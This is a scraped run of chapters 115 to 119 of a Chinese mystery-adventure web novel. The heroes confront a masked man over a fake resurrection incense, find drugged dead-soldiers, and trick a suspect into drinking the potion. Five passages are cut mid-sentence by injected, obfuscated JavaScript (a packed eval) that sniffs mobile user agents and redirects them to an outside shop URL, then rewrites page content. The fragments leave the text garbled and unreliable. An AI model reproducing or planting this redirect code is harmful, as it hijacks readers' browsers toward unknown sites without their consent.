冷萤好笑地收起她的食指,余光瞧见姜小四的食指上突然飞来一只小黑点。 她示意珊瑚和方骅看过去,就见少年在那只小黑点上洒了点什么,小黑点便慢慢飞起,越过围墙进了拣香坊。 做完这一切后,少年慢慢走回了冷萤身旁。 珊瑚凑到他面前,伸出食指,问道:“你刚才这是在……干啥呢?” 姜小四瞟了她一眼,表情有些得意。 (师父给我的金手指。) 珊瑚撇撇嘴,点点头:得…… 两人说话间,围墙里面传来一阵骚动。 冷萤问姜小四:“你的‘金手指’做的?” 她话音刚落,里面传来一声“哎哟,什么啊?”随后就是重物摔到地上的声音。 少年转眼,眼睛亮亮地对着冷萤点点头。 一刹,里面相继传来“你怎么了?”,“他怎么昏倒了?”,“妈的,这是什么鬼东西?”之后,逐渐安静了下来。 “进去看看不?”珊瑚见里面很久没再传出声音,建议道。 一直在认真倾听的方骅,对冷萤与珊瑚道:“我和姜小四先进去瞧瞧,等一会儿没危险了你俩再进来。” 言毕,他带着姜小四自墙角处一跃而起,随即消失在冷萤与珊瑚眼前。 冷萤当即是同意了的,但直到他俩的身影消失在围墙处的一瞬,她猛然发觉这一切是不是太过顺利了。 这么大一家拣香坊,外人想进入真会如此容易? 想到这里,她倏然看向珊瑚,急忙道:“不对,有危险,我们快进去!” 珊瑚速度也很快,她本就极其相信冷萤,一句没问就放出腰间的弦丝,一把将两人带到一旁的屋顶上。 可谁知,两人刚落至屋顶,就听见太危险了,万一摔下来了我可是会心疼的。” 两人警惕地看过去,却发现方骅与姜小四二人不知因何原因,已瘫软在地不省人事。 晕倒在地上的不止他们二人。 冷萤大致扫了一眼,除了方骅与姜小四,他们旁边好似还躺着四五人,想来是姜小四“金手指”的杰作。 珊瑚低语咕噜了一句:“什么金手指,我看是催命符来着。” 同伴在对方手中,她们不得不选择顺从。 冷萤在珊瑚的帮助下刚落地,便瞧见这偌大的庭院中,目前竟只站着一个人。 这人,便是几人跟踪的面具人。 方才在夜色中瞧得不太真切,此时庭院四处都有光亮,冷萤这才看清,面具人身穿的衣裳颜色,与郝灵画中的那寥寥几笔的模糊的身影,看起来似乎有些相似。 见她俩乖乖下来,面具人阴笑一声,扭曲的声音颇为刺耳:“姑娘们还是听话一些,不像这两个臭男人一来就想动手,实在是不讲道理。” “你是谁?你把他们怎么了?”珊瑚不想听对方在这里阴阳怪气,只是此时也不好发难,便也只能厉声问道。 面具人夸张地举起双手,笑着道:“这位黄衣姑娘可真会冤枉人,明明是他们被自己放进来的东西给刺晕,你怎么还怪到在下身上了呢?” “胡说!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547106|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这可不好胡说,我都还未质问你们将我的人弄晕,你们怎么还反倒先怪起我了?”他说话时不带任何情绪,但语调听起来就是让人极为不舒服。 珊瑚干瞪眼,难得有说不出话的时刻。 她是亲眼见着姜小四将那只小黑点送进来的,可谁能想到,这小东西居然还会攻击自己人呢? 她只能求救似的看向冷萤,却见对方正瞧着放在一旁石桌上的匣子。 须臾,冷萤转过脸看向面具人,问道:“你在栈香铺便发现我们了吧?” 对于她的质问,面具人只是夸张地耸了耸肩,未做任何言语。 但其中的意思,不言而喻。 “特意将我们引到这里,不怕我们查出什么吗?”她目光直视对方,随后再次问道:“卖瓷瓶的小摊前,那个躲在暗处的人便是你?” 安静许久的人,在听到她的这句时,终于开口了:“这位浅衣姑娘也很奇怪,明明是你们跟踪我,还迷晕了我的人,怎么一个个上来就 是一副兴师问罪的样子?” 冷萤其实知道对方不会正面回答自己的问题,但这样周旋下去也不是个办法。 方才她与珊瑚在屋顶上看得清清楚楚,这庭院中与郝灵画上一模一样的水缸中,全都是赤色的液体。 而这人又自栈香铺将瓷瓶拿了回来,莫非这两者……有什么联系? 想了想,她再次朝对方问道:“宁德远交给你的瓷瓶中,是否放着‘婴香’?” 她们看不清对方的表情,但从对方的肢体语言也可以看出,他对冷萤说出的话一点也不感到惊讶。 甚至还格外敷衍地答了句:“姑娘真是好聪明啊。”说完,毫不吝啬地鼓了鼓掌,真是做足了姿态。 冷萤感觉被嘲笑了,但也不生气。 她知道对于面具人来说,自己的这个问题很是可笑。但……那又怎么样? 她眼眸微眯瞧向面具人后方,见趴在地上的方骅手指微微颤动了下,才又继续慢吞吞地问道:“这几口水缸里的液体,便是‘回生之香’?” 第一百一十五章 全都是谎话 这次,面具人的态度稍稍起了变化。 他或许猜到冷萤几人会知道“婴香”,但绝对没想到他们竟然连“回生之香”都查到了。 “姑娘这是又从哪里发明了一味新香?”对方开始装傻。 冷萤也不着急,慢慢与他分析:“几瓶装着香粉的瓷瓶而已,不需要这么多人守吧?那他们要守的便是这几口水缸?” 面具人没说话,也并不想理她。 见对方的态度,冷萤便知自己应该是猜对了。 “所以……”她故意卖了个关子,见对方的注意力似乎暗暗被吸引过来,她才用最无害的语气问道:“如果,我们将这几口缸砸了,你会被你的主人惩罚的吧?” 面具人本来对她说的话不置可否,但见她说完这句后,整个身体以极快的速度朝后退去,包括她身旁的黄衣姑娘,两人在完全没有商量的情况下一同往后退。 他条件反射地想伸手去拉住她们,却被突来的一脚,猛地踢翻在地。 一位身穿黑衣的男人背对着他站定,然后慢慢转过了身。 在看到对方脸的一瞬间,他惊慌地朝自己身后瞧了一眼。 捂着被踢疼的地方,他在转回头时,竟发现那白发白瞳的少年也醒了过来,并且此时就站在他的另一侧。 可明明是同样被那个东西刺晕,为何这二人醒了,而与他们一同晕倒的守卫却依旧趴在地上。 “喂,你是不是想问他们怎么醒得这样快?”珊瑚站在其中一口水缸前,手里举着一块大石头,嬉皮笑脸地同他说着话。 面具人没说话,或许知道自己此时的处境不开口才是最好的,所以直接将脸侧到了一旁。 结果刚一侧过脸,他便见那白发少年对着自己竖起了一根手指。 “你……你想干什么?”他有些紧张地问了一句。 对方并未回他,就在这时,一个黑色小点飞至少年指尖上,少年不知拿着什么朝黑色小点身上一洒,随后指尖轻动,那东西居然径直朝他飞了过来。 “这位公子。” 面具人身前是方骅,右侧是姜小四,周身还有一只怪东西在绕着他飞。 他已经够紧张了,结果那位浅色衣服的姑娘喊了他又不出声,让他在紧张之余,还不得不抽空应对方一声:“什……什么事?” 初见的闲适调笑自他的身上消失殆尽,随之而来的是仿佛站在悬崖边上的紧张之感。 “请问,这几口水缸里是‘回生之香’吗?” 他的情绪已经够紧张了,可那浅色衣服的姑娘不知是故意为之,还是真的这般斯文,非要与他有礼地一问一答。 可她问的问题,他也不敢回答啊。 他要是敢回一句,被主人知道了,那还不如被这小东西刺死算了。 在犹豫间,他眼见着白发少年慢慢走到那些晕倒的守卫身前,又朝他们身上洒了些什么,仿佛是在加固什么似的,他慢慢将目光移至方才狠踢他一脚的男人身上。 “我真的什么都不知道,我只是听从主人命令,每日去栈香铺取十瓶‘婴香’回来,其余的一概不知。”他朝看起来最正常的一个人解释道。 谁知,男人只是冷笑一声,便转身举起一块大石头,做出了与黄衣姑娘一样的威胁动作。 而一旁的浅衣姑娘也只是纵容地对他们笑了笑。 这场景,直让面具人瞧得毛骨悚然。 这几个人,是不是疯了? 莫名其妙地跟踪他,又擅自闯进这里弄晕守卫,现下居然威胁他要砸了这几口水缸。 他们到底是谁啊? “你们到底是谁?”他问出了存在心中好久的疑问。 方才,他以为自己对付这两位女子算是绰绰有余,压根不在乎对方是谁。他只要按主人说的,将对这里起了疑心的人全杀了就行。 更何况,对方是两位年轻的姑娘。如果他能搞定她们,那便是立了大功。 上次的猎物跑掉,主人已经大发雷霆了。这次一下来了俩,他还不快点将她们带回去将功赎罪。 只是他怎么也没想到,明明眼见着晕倒的两个男的,顷刻便醒了过来,就好像是晕着逗他玩一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547107|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是你姑奶奶。”珊瑚手都要举废了,结果这个男人还在这里叽叽歪歪,气得她又威胁道:“再不回答她,我会打到你亲自认了我这个姑奶奶。” 见对方言语威胁还不够,举起手中的石头便要朝其中一口水缸砸去,面具人连连大声回道:“是是是,姑娘猜得没错!” 冷萤见他终于回答,又继续问道:“这种香,真的可以让人起死回生吗?” 面具人听了她的问话,就像是训练过千万遍一样,条件反射答道:“这种香,不仅可以让人的肌肤变得完美无瑕,更能让死去的人活过来。” 方才冷笑的黑衣男人,此时又莫名冷笑了一声,随即摔掉手中的石头,表情不屑地开口道:“你认为,你说的这些胡言乱语,我们会信几分?” 见对方一下又变了态度,面具人立马开始叫屈:“不……不是你们问我的吗?” “我们是让你说真话,谁让你瞎编这些了?”珊瑚厉声问道。 面具人又不敢说话了,在场的所有人包括他自己,都知道他这是在说谎。 这世间,哪有什么可以让人起死回生之术?被这种谎话骗的人只有两种。 一种,是心智不全之人。 另一种,则是不满足现状,过于贪心与强求之人。 这两种人,都对他们所说的深信不疑,从不会深究天底下为何会有这般好事。 想到这里,面具人微低下头,老实承认。 “水缸里的只是一些对人身体好的药材,将这些加入放着‘婴香’的瓷瓶中。‘婴香’长期使用本就会治愈一些人身上的顽疾,久而久之……他们便也信了。” “他们?”沉默许久的冷萤,开口问道:“是像宁德远这样的人吗?” 面具人点点头。 “然后呢?” “什么然后?”他没懂浅衣女子的意思,只是总觉得对方在问这句话时,脸上的表情带着些许愤怒。 “然后……”冷萤深吸一口气,看着一直装傻的面具人问道:“你们让那些人拿什么与你们换取香方?” 第一百一十六章 一双双血红色眼睛 “钱财?” 身形瘦长的面具人,缓缓起身。 冷萤看着他身后的一轮月,想着自他们进入沉水镇,好似总被一层雾气笼罩着,今日难得看见如此澄澈的夜空。 她缓慢垂下眼,目光聚集在对面的紫衣男人身上,嘴里轻轻吐出几个字:“抑或是……人命?” 对方并没有多么惊讶,他是知道自己被跟踪的,自然也明白冷萤几人已经将他与宁德远的对话听了进去。 但,他怎么可能承认呢? 售卖假香与滥杀无辜,罪名孰轻孰重他心底清楚得很。 见他不肯开口说话,冷萤轻笑一声状似无所谓道:“卢家夫妇有求于你们,所以同意替你们售卖回生之香。还利用卢辉与隔壁林家的关系,将林苑送进了胭脂铺,对吗?” 面具人依旧不出声。 本想着对方只是个跑腿的,并不想对他下死手。 只是眼下,这人什么都不愿意说,忍了许久的珊瑚早就想要爆发了。 她冷姐姐脾气好,她可不是什么好相与的,这人戴个不男不女的破面具,站在那里和拴马桩似的,还以为自己很神秘呢? 她越想越烦正想动手,身边一道黑影比她更快。 等她再次看过去时,对方脸上的面具已经被方骅的折扇从中间劈成了两半。 “再不回答她,下一次变成两半的便是你的脑袋。”低沉的声音,从紫衣男人的耳畔响起,这仿佛来自地狱的嗓音,将他吓得浑身不由自主地瑟缩了下。 乍然出现在众人眼前的陌生男人,面容带着些许惶恐不安。 珊瑚见状,更进一步威胁道:“快说,他只劈你脑袋,我可是会将你整个人都劈开的喔。” “我都说了,我只是个……” 紫衣男人似是还想挣扎一二,方骅二话不说丢出折扇,劈开了离所有人最远的一口缸。 “住手!” 折扇收回时,水缸应声而裂。鲜红色的液体汹涌而出,迅速蔓延至周围,染红了半个庭院。 冷萤皱眉看过去,自进入庭院后,她便闻到一股若有若无的血腥味,在方骅将其中一口缸劈开后,那血腥味越发浓烈了。 “我说……我说……”对方人多势众,现下他身边还有只毒虫跟着,男人知道,自己连半点胜算都没有。 “卢家娘子得了一种治不好的怪病,姓卢的瞒着他儿子找上了我们,想求我们救他娘子。” “所以你就拿卢家娘子的病要挟她相公,让他帮你们卖假香还有骗林苑去胭脂铺送命?”冷萤问。 紫衣男人抬眼瞧她,反驳道:“没送命,这不是被你们给搅黄了吗?” 珊瑚冷笑:“所以呢?我们要对杀人凶手说抱歉喽?” 男人没吭声。 此时所有人的注意力,全在紫衣男子身上,并未发觉那些被门被锁上的房间里,一双双布满血丝的双眼,正隔着窗纸看着他们。 “陆引呢?她做错了什么,或者说……她有什么有求于你们?”冷萤想起了那位慵懒妩媚的紫衣女子。 他们见的第一面,居然也是最后一面。 还记得那日,对方正蹙眉对他们讲述自己内心的害怕,可第二日便被杀害放血,抛尸在林间。 听到陆引的名字,紫衣男人貌似听到了什么让他讨厌之人,嘴角轻蔑地扬起笑,好似正准备开口。 变故就发生在一瞬间。 庭院里的几人,注意力全在紫衣男子的身上,攒足了耐心听他准备怎么狡辩。 结果…… 紫色男子身后的一排房门,就像是商量好一般,全部瞬间被打开。 巨大的声响,强制闯入每个人的耳里。 所有人都把目光下意识转向那一排房间,而方才还站在原地被几人压制的紫衣男人,在一掌将身边的姜小四拍飞后,即刻闪进了其中一间房门大开的房间里。 方骅第一个反应过来,提步就往里追。 冷萤则是快速跑至姜小四身边,扶起他,查看他有没有受伤。 珊瑚守在冷萤身边,警惕地观察着四周的情况,保护她与姜小四。 所有人都打起精神,朝那一个个黑洞洞似深渊的房间看去…… 方骅在跟着紫衣男子进了某间房后,便一点声音也未传出。 四围一下子安静下来。 珊瑚见姜小四无大碍,便对冷萤道:“你们在这里不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547108|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,我进去看看。” 冷萤点头,嘱咐她要小心。 结果,珊瑚还没走两步,就瞧见了方骅的背影。 “你……” 她还未来得及问他为何一个人出来,眼眸便顷刻大睁到极致。 冷萤也瞧出了不对。 她放姜小四在墙边靠着,自己则抬脚走至珊瑚身边。 走过去的她在看向方骅时,终于明白珊瑚表情虽吃惊,但并未发出一点声音的原因了。 她们从方骅的背后瞧过去,每扇房门大开的屋内,全站着一排皮肤苍白、满目血红的人。那些人看向他们的目光里,满是垂涎欲滴。 “你带着他们先走,我来善后!”方骅头也不回地对珊瑚道。 屋内那些看似奇 怪的人,在听见方骅说话时,有几个居然还吸溜了下口水。 “他们瞧我们的眼神怎么这么奇怪?”珊瑚小声地对冷萤道。 冷萤双手相互摩挲着指尖,她正在思考为何会突然出现这些人。 这些人,怎么会用那种饿了很久的眼神看着他们? 好似…… 只要他们一不注意,下一瞬这些人便会扑上来,将他们啃个精光。 环顾四周,她的目光瞧见地上蔓延着的红色液体,这时已然慢慢渗进了旁边的土壤里。 庭院里栽种着几棵茂盛的树木,还有几丛花也长势喜人。 血红色的液体在流入土壤后,便没入到那些花丛的根茎里。 细细观察,这时的她居然才发现,花丛中有几朵开得格外显眼的粉白花朵,有几片花瓣里,居然夹杂着几缕血红色。 默默转回头,她瞬间顿悟对珊瑚道:“快!我们将另外两口缸也砸了!” “你们干什么?还不快逃?”方骅见那些人已经慢慢走出屋外,身后的人却一点动作也无,现在居然还要砸缸,一下子便急了。 珊瑚自然是听冷萤的,蹲身一手抓起一块石头,不用冷萤亲自动手,她一个人便全部搞定了。 鲜红液体倾泻而出,瞬息将整个庭院变成了一汪水红色的浅池,也打湿了四人的鞋袜。 更是惊动了那一双双血红色的双眼。 第一百一十七章 豢养死士 原本准备迎接一场硬战的方骅,眼睁睁看着那群像是失了智的人,他们眼神空洞地自昏暗的房间中蜂拥奔出,动作笨拙而急切。 就像是被看不见的线牵引着的木偶,跌跌撞撞却又兴奋异常。 他们的目光直勾勾地盯着庭院的地面,仿佛那里有世上最诱人之物。 随后一个个脚步踉跄却不肯停歇,被某种狂热的渴望驱使,不顾一切地朝地面上那些红色的液体冲去。 方骅眼神茫然地转过身,瞧着跑出房门便全都趴在地上,像动物一样舔舐着地上红色液体的那些人,好似懂了冷萤与珊瑚方才的举动。 姜小四这时也一瘸一拐地走过来,目光里满满都是惊悚。 他实在不懂,虽然那些人方才的表情确实有些怪,眼神也不是很正常。但也……不至于做出这样疯狂的举动吧? 难道,那几缸回生之香中,加了什么会造成他们疯狂的东西? 而一旁的冷萤,双眸逐渐了然。 她一进庭院其实就在想,每日那瓷瓶售卖的数量也不多,相当于是限量售卖。这些人为何,还要如此夸张地准备几水缸的回生之香备在这里。 现下,她终于懂了。 “趁他们神志不清,我们快走!”方骅一把抓起冷萤,自高高的围墙里跃了出去。 见冷姐姐被带走,珊瑚只好嫌弃地抓着姜小四布包,将他“提”出了围墙。 四人刚落地,姜小四便扯回自己的布包,涨着一张脸咳嗽个不停。 冷萤瞧见他方才被带出的姿势了,瞧了眼不敢看她的珊瑚,伸手替姜小四顺了顺气。 为了不挨说,珊瑚首先提出了自己的疑问:“冷姐姐,你怎知回生之香可以对付那些奇怪的人呀?” “我也是猜的。”冷萤见姜小四咳嗽好转,无声询问他腿好些了没,在见对方动了动腿脚,对她表示自己没事后,才又道:“你们发现没,庭院的那些花草都长得格外茂盛?” 这谁会注意这些啊?珊瑚摇了摇头。 见她摇头,冷萤继续道:“这回生之香应是长期放在庭院里,偶尔还不小心会洒些到那些花草身上。这回生之香名声虽假,却也都是上好的料材制作。于是……” “于是你便想,这些对不知情百姓来说万分珍贵的回生之香,为何到了这里,便这么被随意丢在庭院。必定是室内有比之更重要的东西,且还需要用到这些回生之香,对吗?”方骅接过她的话,问道。 冷萤见他说出自己的想法,眉眼弯了弯,朝他点了点头。 方骅不自在地转过脸,咳了一声又继续道:“所以,在你瞧见那些被豢养的死士出来时,这种念头就更强烈了。” “原来那些是被豢养的死士啊……”珊瑚瞬间像被击中了神经,大声道:“这莫不是你瞎说吧,死士哪里是那种谗样?” 方骅立刻回嘴:“那是什么样?” “反正不是那个样子!”珊瑚气到想上去挠他两下。 “哦?”方骅打量了她一眼,欠揍地问道:“不是他们那样,难道是你这种类型的……馋样?” “见鬼,和你拼了!”珊瑚挽起袖子,准备上去大干一场,被冷萤拖了回来。 冷萤很是无奈的一人给了一眼,这俩平和了没几日,怎的紧要关头又闹起来了? 为了平息珊瑚的怒火,她忙继续方才的话题,问道:“那些死士,会不会是被某种药物所控制,而回生之香里刚好就有这种药物,所以他们喝过后才会如此疯狂?” 方骅不理珊瑚在一旁快要将他杀了的目光,沉着点头与冷萤道:“有可能,我瞧购买回生之香的那些人,脑袋也不是很清楚。只不过他们买的分量小,所以瞧起来并不那么明显罢了。” 冷萤有些沮丧地叹了口气:“可惜,还是没问出幕后之人,甚至连陆掌柜为何而死,我们都没顺利找出。” “不用担心。”方骅安慰她:“我们今日费劲找出的,只不过是那些人豢养死士的地方。那个面具人逃跑后,我们已经算是打草惊蛇了。事已至此……” 见他安慰冷萤,所有人都沉默下来,听他接下来的想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547109|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 见几人的目光全聚集到自己身上,方骅表情自若地说出下一句:“此后我们在沉水镇的日子,怕是不好过了。” “有什么不好过的?他们来一个我便杀一个,来一对我宰一双!”珊瑚气势汹汹地对着方骅咬牙切齿道。 听他的语气,还以为找到了什么解决的法子了,结果这人说话方式还是硬得像块木头。 他说的每句话里面,到底哪一点不值得担心? 几人说话间,已经站在了万安客栈前。 门前摆小摊的早已散去,有别于白日的热闹,此时客栈门前的空地被月色浸染后,连周边的整个环境都安静了下来。 几人正准备走进客栈,一道黑影落在他们身前。 “主子。”是陈全。 “怎么样?有没有什么发现?”方骅问他。 “那人并未离开过客栈……”陈全正准备继续汇报,被由远至近的脚步声打断。 他转头看过去,表情霎时变得格外精彩。 “是属下办事 不力,请主子惩罚!”不过身为暗卫的他,即刻便控制住了面部表情,垂下头自行领罚。 方骅开口:“先下去吧,继续盯着。” “是!” 陈全刚离开,凌风的身影便出现在众人视野中。 对方似乎也是准备回客栈,待瞧见门口站着的四人后,表情惊讶了一瞬,随即热情打招呼:“又见面了!没想到,今日居然还能与各位再见上一面,看来……缘分真是妙不可言。” 方骅侧转身面对他,轻扯嘴角一笑,漆黑如墨的眸子紧盯着一直保持灿烂笑容的男人,随即开口:“既然这么有缘,不如由我做东,大家一起用点消夜,就当是为凌兄送行了。” “这……不太好吧,你们之前还救了我,怎能让你们请客。”听了方骅的邀约,凌风先是愣了一小会,随即反应过来拒绝道。 “今此一别,以后相见亦难。凌公子便不要客气,就当是好友小聚便可。”冷萤见他推脱,走上前开口。 第一百一十八章 试探 他们话都说到这个份上了,凌风再不答应,确实有些说不过去。 于是,几人走进客栈,叫来值夜的小二哥点了几盘下酒茶,齐齐落座。 方骅为凌风斟了酒,状似闲聊问道:“凌兄明日便要离开沉水镇了,这么晚了还出去办事?” 凌风朝几人举杯,率先喝了口道:“哪里是出去办事,无非是见沉水镇夜市热闹,有些舍不得这里,出门再去散个闲心罢了。” “散心?”珊瑚问道:“我们也在夜市散步呀,怎的没瞧见凌公子?” 听了她的话,凌风放下杯子的手顿了顿,随即抬起一双眼瞧向她,问道:“你们也去夜市了?” 然后,立即摆出一副很可惜的表情道:“那真是不巧,要是方才能碰见,我们还能一起去逛逛香材小铺。” 冷萤瞬间抬眼,抓住了机会:“今日香材小铺并未摆摊,凌公子逛夜市时……难道没发现吗?” 凌风正准备夹菜,被她问停了一瞬,就在冷萤以为他要说什么时,他夹了一筷子菜放入嘴中,慢慢咀嚼着。 几人也不好表现得太过在意,只好一边吃菜一边默默等他回答。 在吞下嘴里的东西后,他又尝了口茶水才慢慢开口:“啊……那可能是在下并未往那处走,在沉水镇待得太久了,下意识以为每日出摊的那家今日也在呢。” 他的回答随意到,完全无法让人起疑。 冷萤也貌似同意地点点头,心中却在暗想,这人实在不好对付。 她也拿起杯子喝了一口,发现凌风今日并未穿那件常穿的紫衣,而是换上了一身暗红色的外衣。 他这身打扮,即便是在路上碰见了,她也要多瞧几眼才会认出对方的模样。 不知是各自心中有事的原因,桌上的几盘菜不一会儿便见了底。 方骅招来小二又要了几碟子热菜,目光顺势朝冷萤看去。 被他看的人不动声色,从包里拿出方才自己在拣香坊庭院里顺的东西,摆在了桌上。 然后开口道:“好菜当配好饮子,凌公子今日碰见我们,运气当真是不错。” 凌风极快地睨了一眼桌上的瓷瓶,又很快地收回目光看向说话冷萤,状似感兴趣地问道:“喔,何以见得?” 亲自递过去的话,焉有不接住的道理。 冷萤故作神秘地对他道:“这瓷瓶里的可是好东西,听说不仅能让人肌肤洁白无瑕,还能让死去的人复活。你们说……这可信不可信啊?” “我认为不可信,如果真有让人起死回生之物,这天下岂不是要大乱了?”方骅一脸不信之态,将目光移至凌风处随意问道:“凌兄,你说呢?” 本是认真听他们说话的人,突然被问到,一脸不知如何作答的表情。 这便让讲义气的珊瑚立刻挺身而出,打圆场道:“你们俩也真是,人凌公子尝都没尝一口,你们却硬要人家表态,这种做法正确吗?” “不太正确。”冷萤回。 珊瑚一脸她不识趣的表情,催促道:“那还不让凌公子尝尝?不能我们都喝过了,却让一个未饮过此物的人,来主持公道吧?” 方骅嘴角抽搐了一下,说道:“甚对。” 凌风在一旁,一句话没讲便被绕了进去。 他自第一次见到这几人,便总有种对方不按常理出牌之感。 见冷萤将瓷瓶递给方骅,方骅则是站起身便准备给自己倒上。 他连忙客气地站起身,一双手都在推拒:“这使不得……使不得。如此珍贵之物,哪能给我一人独享。” “不是独享啊,我们都喝过啦!”珊瑚说谎时,眼都不带眨一下的。 “这……”凌风推却的手被方骅强硬格开,只能眼睁睁看着对方将瓷瓶里的液体倒入自己杯中。 此时的方骅甚是热情,将瓷瓶里的液体全倒入了他杯中不说,还拿着瓶身晃了好几下,生怕浪费了一滴。 骑虎难下的凌风,在六黑二白的眼眸中,硬着头皮端起了杯子。 “喝啊凌公子,这值一两银子呢。”珊瑚继续怂恿。 见对方渐渐收起脸上的笑意,举着杯子正准备说什么,珊瑚以最快的速度按下凌风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547110|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头,捏着他的杯子,将杯中的液体倒进了对方嘴里。 被呛了下的凌风,本想吐出嘴里的液体,奈何他怎么也没想到对方竟如此强势,一个激动便囫囵吞了进去。 “你……咳咳……怎的如此勉强别人……”见他咳得满脸通红,冷萤浅笑着递上一杯茶,让他顺一顺。 凌风哪还敢喝他们递来的东西,呛咳着摆手表示不用。 “对不住啊,凌公子。”珊瑚一脸委屈道:“我怕这东西倒出来放久了效果就不好了,所以才着急让你喝下去,你不会怪我吧?”说完,她无辜地眨了眨眼。 凌风抬眼看着对面那个假装委屈的人,深吸一口气后,硬生生地挤出笑容道:“怎……怎么会,还要多谢几位,得了好东西还想着在下。” 见他毫不责怪,珊瑚得意忘形地一掌拍在他的背上,差点将他打出了内伤,“就知道凌公子最是大度,万一有机会再见,有好东西必定再分享给你。” 凌风好不 容易能正常说话了,被她重重一砸,又呛咳了起来:“不……咳咳……倒也不必了。” 珊瑚见状,假意依偎在冷萤怀中,可怜兮兮地对她道:“凌公子,好像还是生我的气了。” “我……”凌风咳了一声,忙道;“我没有。” 冷萤将珊瑚轻轻推开,站起来微微福身道:“凌公子,珊瑚年纪小不懂事,我替她向你说声对不起。” 凌风停下咳嗽咽了下口水,抬头看着一脸诚恳的冷萤,不自觉又咽了下口水。 随即站起身,向众人告辞:“多谢各位的款待,凌某深感荣幸。今日太晚了,明日一早便要出发,只能先行告辞了。” 他们一日之内告别了两次,第一次凌风还尚且对冷萤说出了“再会。”二字。这次,在看了冷萤一眼后,他硬生生吞下了这句话。 倒是方骅,站起身送客:“凌兄慢走,再会!” 凌风点点头,没再开口,转身上了楼。 直到再也瞧不见他的身影,珊瑚才转头与同伴道:“我们怀疑的没错,他与那些人就是一伙的!” 第一百一十九章 程平 翌日,冷萤再次被客栈楼下的谈话声吵醒。 只是这次,房间里只剩下了她一人。 洗漱完毕,她下楼寻珊瑚去了哪里,便瞧见了熟悉的场景。 珊瑚、方骅还有姜小四三人,用着与上次同样的姿势,正在偷听外面说话,见她下楼,方骅招手唤来了小二,让对方将吃食端上桌。 她走近时,外面的谈话声渐缓。珊瑚忙将她拉到自己身边,小声与她道:“冷姐姐,那个杀人放血的凶手抓到了,你猜是谁?” 冷萤问:“是谁?” 方骅回道:“程平,认识吗?” 她当然认识,拣香坊的伙计,她依稀记得对方面部好似被火吻过,个子也不高。 “怎么可能是他?”珊瑚气愤之余,小二送吃食来了。 这次,热腾腾的吃食也无法引起珊瑚的注意,她叫住小二哥问道:“小哥,你认识拣香坊的伙计程平吗?” 小二哥本是要离开的,听了珊瑚的问话转过身。 见在座的几人气质不凡不像坏人,便将托盘放在桌上,压低声音道:“当然认识,这个程平啊一生可太难了,我们方才还在讨论,他怎么可能会是凶手呢。” 冷萤追问道:“小哥为何这样说?” 对方直起身子,转头看了眼正在算账的掌柜,见没人瞧见他偷懒,才又放心回过头,对几人道:“不是我说啊,我就未见过他这么苦命的人。” 珊瑚为了安心听他讲,拖了凳子过来示意他坐下慢慢说。 小二哥不敢坐下,但嘴上也没闲着:“我听人说,程平刚生下来时还是过了一段好日子的。但自从他长到这么高……”他用手比了下高度,差不多与桌子齐平。 见几人并未有惊讶的表情,他收回手继续道:“再也不长之后,他爹就不想养他了。他娘亲不忍离开他,便与他爹和离,独自上山采香抚养他长大。” 见两位姑娘都露出不忍的表情,小二哥微微弯腰,好似想说什么重要的事。 见除了那表情严肃的黑衣男不愿靠近,其余几个都凑了过来。 他接着道:“本来这样过下去也没什么不好,结果他家有日做饭时不小心将整个屋子烧了,他娘亲拼着最后一口气,将他推到了屋外。” 